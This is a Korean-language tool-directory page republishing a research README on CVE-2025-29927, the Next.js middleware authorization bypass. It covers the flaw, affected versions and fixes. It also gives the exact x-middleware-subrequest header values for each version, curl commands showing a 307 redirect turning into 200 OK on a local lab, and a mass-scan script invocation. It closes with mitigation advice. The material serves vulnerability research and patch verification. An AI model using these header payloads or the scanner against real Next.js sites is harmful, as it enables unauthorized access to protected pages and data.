Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-29927 | Kitploit
도구/GitHubGitHub/iteride/cve-2025-29927
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubiteride/cve-2025-29927

CVE-2025-29927

저장소 보기
111개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-29927

소개

이 문서는 Next.js 프레임워크의 Middleware 메커니즘에 영향을 미치는 취약점 CVE-2025-29927에 대한 연구를 제시합니다.
Next.js는 Vercel에서 개발한 React 기반 애플리케이션 개발을 위한 인기 있는 오픈소스 프레임워크입니다. 서버 측 렌더링, 정적 생성 및 라우팅, 리디렉션, 보안 헤더 및 액세스 권한 검사에 사용되는 유연한 미들웨어 시스템을 지원합니다.

2025년 3월, 내부 하위 요청의 서비스 헤더 처리와 관련된 중요 취약점 CVE-2025-29927이 발견되었습니다.
문제의 핵심은 x-middleware-subrequest HTTP 헤더에 특수한 값을 삽입하여 미들웨어에서만 접근 제어가 구현된 애플리케이션의 인증 검사를 우회할 수 있다는 점입니다. 보안이 미들웨어에만 의존하는 경우, 공격자는 보호된 라우트나 데이터에 접근할 수 있습니다.

영향을 받는 Next.js 버전 및 수정 사항 (공개 소스 및 공식 자료 기준):

  • 11.1.4 ≤ 버전 < 12.3.5
  • 13.0.0 ≤ 버전 < 13.5.9
  • 14.0.0 ≤ 버전 < 14.2.25
  • 15.0.0 ≤ 버전 < 15.2.3

수정 사항은 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 릴리스에서 제공됩니다.

Next.js는 프로덕션 환경에서 널리 사용되며, 인증/권한 부여 및 보안 정책에 자주 사용되는 미들웨어 계층에 영향을 미치는 이 취약점은 실질적으로 높은 위험을 수반합니다.


보고서 목적

취약점을 단계별로 분석하고 전체 연구 사이클을 구성합니다:

자료 수집 및 구조화.
CVE-2025-29927에 대한 공개 소스를 체계화하고, 결함의 본질, 트리거 조건, 확인된 버전/패치를 설명합니다.

CPE 및 구성 조건 정의.
취약점이 재현되는 CPE/버전 목록 및 구성(예: 자체 호스팅 배포 및 미들웨어 수준 권한 부여)을 설명합니다.

안전한 데모.
취약한 버전에서 미들웨어 우회 사실을 확인하는 재현 가능한 데모를 테스트 환경에서 준비합니다(파괴적 작업 없이).

대량 검사 방법론.
세 가지 안전한 접근 방식을 설명하고 구현합니다:

  • nuclei (영향 최소화 능동 모드),
  • nuclei (버전/간접 징후 기반 수동 모드),
  • 자체 Python/Go 스크립트 (테스트 호스트에 대한 다중 스레드 능동 검사).

취약점의 본질

middleware

  • 근본 원인. Next.js에서 서비스 헤더 x-middleware-subrequest는 내부 하위 요청을 추적하고 미들웨어에서 재귀를 방지하는 데 사용됩니다. 취약한 브랜치에서 외부 클라이언트는 이 헤더에 "예상" 값을 삽입할 수 있으며, 런타임은 미들웨어 실행을 건너뛰고 요청을 라우트 핸들러로 직접 전달합니다.

  • 헤더의 역할. x-middleware-subrequest 헤더는 원래 현재 HTTP 요청이 사용자로부터 직접 온 것이 아니라 프레임워크 자체에서 중간 하위 요청으로 시작되었음을 나타내는 내부 표시기로 설계되었습니다.
    이는 라우팅 외에도 Next.js의 내부 메커니즘이 올바르게 작동하는 데 필요합니다. 이 플래그는 호출된 각 중간 계층을 "표시"하여 무한 재귀를 방지하는 데 도움이 됩니다.
    그러나 바로 이 로직이 의도치 않은 보안 허점을 만들었습니다. 클라이언트가 자체적으로 이러한 헤더를 추가하면 시스템이 자신의 요청을 내부 요청으로 처리하고 인증 검사를 우회할 수 있습니다.

  • 로직의 진화.

    • 초기 버전에서는 헤더가 콜론으로 구분된 값 목록으로 해석되고, 메커니즘은 이를 활성 미들웨어의 이름/경로와 비교합니다.
    • 최신 브랜치에서는 깊이 카운터 형태의 무한 재귀 방지 기능이 추가되었습니다. 임계값(기본값 5)에 도달하면 미들웨어도 건너뜁니다. 이 메커니즘은 헤더가 마치 하위 요청 체인이 이미 한도에 도달한 것처럼 구성되면 속일 수 있습니다.

영향

  • 기밀성 및 무결성. 미들웨어 수준에서만 접근 제어가 구현된 경우 보호된 페이지 또는 API에 대한 무단 액세스, 보호된 엔드포인트를 통한 잠재적 데이터 수정.
  • 가용성. 캐시 포이즈닝과 같은 부작용으로 인해 일부 구성에서 잘못된 캐싱 및 가용성 저하가 발생할 수 있습니다.

CPE 및 구성 조건

공식 CPE (CPE 2.3)

NVD의 최신 기록은 대상 소프트웨어 node.js를 사용하는 Vercel Next.js 제품을 나타냅니다. 취약한 브랜치에는 다음 구성이 적용됩니다 (버전 범위는 NVD의 CPE 구성 수준에서 설정됨):

CPE URI취약한 버전 범위
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*11.1.4 ≤ v < 12.3.5

참고: CVE 설명에는 "11.1.4부터 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3까지" 취약점이 아래 조건을 충족할 때 재현된다고 명시되어 있습니다.

프로덕션 환경에서의 실제 조건

  • 접근 제어(인증/권한 부여)가 미들웨어에 구현되어 있고 핸들러/백엔드에서 중복되지 않음.
  • 자체 호스팅 배포(예: next start, output: 'standalone' 빌드) 또는 미들웨어가 서비스 헤더에 대한 경계 필터링 없이 들어오는 요청에 대해 실행되는 모든 환경.
  • x-middleware-subrequest가 포함된 사용자 요청을 차단하는 외부 수단(예: WAF 규칙)이 없음.

x-middleware-subrequest 내부 메커니즘

미들웨어의 무한 재귀를 방지하기 위해 런타임은 서비스 헤더를 구성하고 읽습니다:

  1. 헤더 값은 콜론 :으로 구분된 요소가 있는 문자열로 해석되어 "하위 요청" 배열을 얻습니다.
  2. 그런 다음 런타임은 다음을 확인합니다:
    • 현재 미들웨어의 이름/경로가 이 배열에 있는지(이전 브랜치에서는 NextResponse.next()를 통해 즉시 건너뛰게 됨),
    • 또는 재귀 깊이 제한에 도달했는지(최신 브랜치에서는 기본값 5의 제한이 적용되며, 이 경우 미들웨어도 건너뜁니다).
  3. 패치에서는 변조 방지를 위해 현재 프로세스 세션과 연결된 별도의 하위 요청 식별자(x-middleware-subrequest-id)가 추가되었습니다. 이 식별자가 일치하지 않으면 들어오는 x-middleware-subrequest는 서버 측에서 지워집니다.

익스플로잇 방법

공격자는 대상 Next.js 애플리케이션에 HTTP 요청을 보내고 서비스 헤더 x-middleware-subrequest를 추가합니다.
값에는 미들웨어 파일의 경로(예: pages/_middleware, middleware 또는 src/middleware)가 지정됩니다.
필요한 값은 사용되는 Next.js 버전과 프로젝트 구조에 따라 다릅니다.

이러한 요청이 애플리케이션에 도달하면 프레임워크의 내부 로직은 이를 내부 하위 요청으로 인식하고 미들웨어 계층이 이미 실행되었다고 가정합니다.
결과적으로 일반적으로 미들웨어에서 발생하는 인증 및 권한 부여 검사가 사실상 건너뛰어집니다.


PoC / Exploit

중요: 이 자료는 비공개 테스트 환경에서 패치 확인 및 위험 모델링을 위해서만 제공됩니다.
프로덕션 인프라에서의 모든 검사는 리소스 소유자의 허가를 받은 경우에만 가능합니다.

일반 원칙

Next.js는 서비스 헤더 x-middleware-subrequest를 사용하여 내부 하위 요청을 표시하고 미들웨어의 재귀적 실행을 방지합니다.
요청을 처리할 때 헤더 값은 : 문자로 분할되고 현재 미들웨어의 이름과 비교됩니다.
최신 버전에는 깊이 제한(MAX_RECURSION_DEPTH, 일반적으로 5)이 추가되었습니다.
조건(이름 일치 또는 제한 도달)이 충족되면 Next.js는 미들웨어를 건너뛰고 요청을 더 전달합니다.
공격자는 내부 하위 요청을 모방하여 올바른 헤더 값을 구성할 수 있습니다.

버전별 익스플로잇

1️⃣ 12.2 이전 버전: Pages Router 및 _middleware.*

  • 미들웨어 파일은 _middleware.js/ts 로 명명되었고 pages/ 디렉토리에 위치했습니다.
  • 헤더 값은 파일 경로와 일치해야 합니다. 예: x-middleware-subrequest: pages/_middleware

2️⃣ 12.2 – 13.0.0 버전: 루트 middleware.*

  • 12.2부터 이름에서 밑줄이 제거되었습니다: 파일은 middleware.js/ts 가 되었습니다.
  • 프로젝트 루트 또는 /src 디렉토리 루트에 있을 수 있습니다.
  • 미들웨어 우회에 사용되는 헤더: x-middleware-subrequest: middleware 또는 x-middleware-subrequest: src/middleware

3️⃣ 13.x 이상 버전: 재귀 깊이 제한

  • 깊이 검사가 추가되었습니다. 헤더 값은 :로 분할되고 미들웨어 이름 반복 횟수가 ≥ 5이면
    Next.js는 재귀 조건이 충족되었다고 간주하고 NextResponse.next()를 통해 미들웨어를 건너뜁니다.
  • 공격을 위해 헤더는 다음과 같이 구성됩니다: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware 또는 x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Next.js 15.x의 특징

15.x 릴리스에서 개발자는 무한 재귀 호출을 방지하기 위해 로직을 재설계했습니다.
경로에서 미들웨어가 트리거되면(예: /api/*), Next.js는 동일한 미들웨어를 다시 시작하는 다른 URL을 얻습니다.
프레임워크는 x-middleware-subrequest 헤더를 통해 트리거 횟수를 계산합니다.
호출 횟수가 설정된 임계값(MAX_RECURSION_DEPTH, 기본값 5)에 도달하면 추가 미들웨어 호출이 차단됩니다.
공격자는 이 동작을 악용하여 헤더에 필요한 반복 횟수가 포함된 값을 미리 지정하고 인위적으로 깊이 제한에 도달하게 할 수 있습니다. 결과적으로 미들웨어가 완전히 건너뛰어집니다.

요청 예시

이전 브랜치의 경우 위에 제공된 옵션에 따라 헤더 값이 선택됩니다

root@kitploit:~
GET /admin/dashboard HTTP/1.1
Host: <TEST-HOST>
User-Agent: <YOUR-LAB-CLIENT>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

이것이 작동하는 이유

x-middleware-subrequest는 무한 재귀를 방지하기 위한 내부 메커니즘으로 설계되었습니다.
그러나 취약한 버전에서는 외부 요청에 대한 필터링이 누락되었습니다. 클라이언트가 헤더를 위조하여
건너뛰기 조건(이름 일치 또는 깊이 제한 도달)을 충족시키고
보호된 라우트의 핸들러에 직접 접근할 수 있습니다.

테스트 스탠드 실행

root@kitploit:~
git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev

테스트:

(예제는 Next.js 15.2.2 기반, 다른 브랜치의 경우 PoC 섹션의 표에 따라 헤더 값 선택)

  1. 일반 요청:
root@kitploit:~
curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
  1. x-middleware-subrequest 헤더가 포함된 요청:
root@kitploit:~
curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5

보호 권장 사항

  • Next.js를 최소한 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 버전으로 업데이트하십시오.
  • 업데이트가 지연되는 경우 WAF/프록시 수준에서 외부 x-middleware-subrequest 헤더를 필터링하거나 삭제하십시오.
  • 미들웨어뿐만 아니라 API 핸들러에서도 중요한 권한 부여 검사를 중복 수행하십시오.

테스트용 Nuclei 템플릿

  • 이 템플릿은 Next.js 애플리케이션에 대한 수동 및 능동 검사를 결합합니다.
  • 헤더와 리디렉션을 수동으로 분석하여 Next.js 징후와 가능한 미들웨어 동작을 식별합니다.
  • 특수하게 구성된 X-Middleware-Subrequest 헤더를 사용하여 미들웨어 우회를 능동적으로 테스트합니다.
  • 여러 페이로드를 사용하여 취약점 발견 확률을 높입니다. 표준 테스트 조건에서 약 60% 입니다.

nuclei

⚠️ 주의: 이 템플릿은 자신의 소유 또는 허가된 대상에 대한 테스트용으로만 설계되었습니다. 소유자의 동의 없이 타사 서비스에 사용하는 것은 불법입니다.

대량 테스트 스크립트

  • 이 스크립트는 멀티스레딩을 지원하여 많은 수의 서비스와 경로를 빠르게 스캔할 수 있습니다.
  • 파일을 통해 대상 및 경로 목록 입력을 지원합니다.
root@kitploit:~
python3 scan.py --targets-file TARGETS_FILE --paths-file PATHS_FILE --threads THREADS
도구 다운로드
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*
13.0.0 ≤ v < 13.5.9
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*14.0.0 ≤ v < 14.2.25
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*15.0.0 ≤ v < 15.2.3